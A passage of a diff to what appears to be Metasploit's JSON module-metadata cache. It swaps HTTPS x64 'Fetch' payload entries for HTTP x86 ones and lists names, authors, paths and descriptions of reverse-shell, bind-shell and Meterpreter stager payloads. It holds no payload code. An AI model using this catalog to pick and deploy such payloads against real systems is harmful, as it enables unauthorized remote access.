"rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -178881,9 +178886,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/pingback_bind_tcp": { - "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", - "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", + "payload_cmd/linux/http/x86/meterpreter/find_tag": { + "name": "HTTP Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/find_tag", "aliases": [ ], @@ -178892,22 +178897,24 @@ "type": "payload", "author": [ "Brendan Watters", - "bwatters-r7" + "Spencer McIntyre", + "William Webb ", + "skape " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", + "description": "Fetch and execute a x86 payload from an HTTP server.\nUse an established connection", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/pingback_bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -178916,9 +178923,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/pingback_reverse_tcp": { - "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -178927,22 +178934,24 @@ "type": "payload", "author": [ "Brendan Watters", - "bwatters-r7" + "Spencer McIntyre", + "William Webb ", + "kris katterjohn " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker over IPv6", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178951,9 +178960,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell/bind_tcp": { - "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", - "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", + "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -178962,22 +178971,24 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "William Webb ", + "skape " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell/bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178986,9 +178997,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell/reverse_sctp": { - "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", + "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp", "aliases": [ ], @@ -178997,23 +179008,26 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "RageLtMan " + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "tkmru" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell/reverse_sctp", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179022,9 +179036,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell/reverse_tcp": { - "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", - "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -179033,23 +179047,26 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky", - "tkmru" + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Linux", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell/reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179058,9 +179075,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { - "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", - "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", + "payload_cmd/linux/http/x86/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_http", "aliases": [ ], @@ -179069,9 +179086,12 @@ "type": "payload", "author": [ "Brendan Watters", - "epi " + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], @@ -179081,10 +179101,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -179093,9 +179113,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_bind_tcp": { - "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", + "payload_cmd/linux/http/x86/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_https", "aliases": [ ], @@ -179104,9 +179124,12 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], @@ -179116,10 +179139,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -179128,9 +179151,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { - "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", - "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", + "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp", "aliases": [ ], @@ -179139,9 +179162,12 @@ "type": "payload", "author": [ "Brendan Watters", - "Geyslan G. Bem " + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], @@ -179151,10 +179177,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179163,9 +179189,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_find_port": { - "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", - "fullname": "payload/cmd/linux/https/x64/shell_find_port", + "payload_cmd/linux/http/x86/metsvc_bind_tcp": { + "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/http/x86/metsvc_bind_tcp", "aliases": [ ], @@ -179174,9 +179200,10 @@ "type": "payload", "author": [ "Brendan Watters", - "mak" + "Spencer McIntyre", + "hdm " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", + "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -179186,10 +179213,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_find_port", + "ref_name": "cmd/linux/http/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179198,9 +179225,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { - "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", - "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", + "payload_cmd/linux/http/x86/metsvc_reverse_tcp": { + "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x86/metsvc_reverse_tcp", "aliases": [ ], @@ -179209,9 +179236,10 @@ "type": "payload", "author": [ "Brendan Watters", - "epi " + "Spencer McIntyre", + "hdm " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", + "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -179221,10 +179249,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp", + "ref_name": "cmd/linux/http/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179233,9 +179261,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/https/x64/shell_reverse_tcp": { - "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", + "payload_cmd/linux/http/x86/read_file": { + "name": "HTTP Fetch, Linux Read File", + "fullname": "payload/cmd/linux/http/x86/read_file", "aliases": [ ], @@ -179244,9 +179272,4206 @@ "type": "payload", "author": [ "Brendan Watters", - "ricky" + "Spencer McIntyre", + "hal" ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", + "description": "Fetch and execute a x86 payload from an HTTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/read_file", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/find_tag": { + "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/http/x86/shell/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nUse an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection over IPv6 and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Geyslan G. Bem ", + "Aleh Boitsau " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_find_port": { + "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/http/x86/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_find_tag": { + "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/http/x86/shell_find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/nat safe)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle ", + "joev " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + 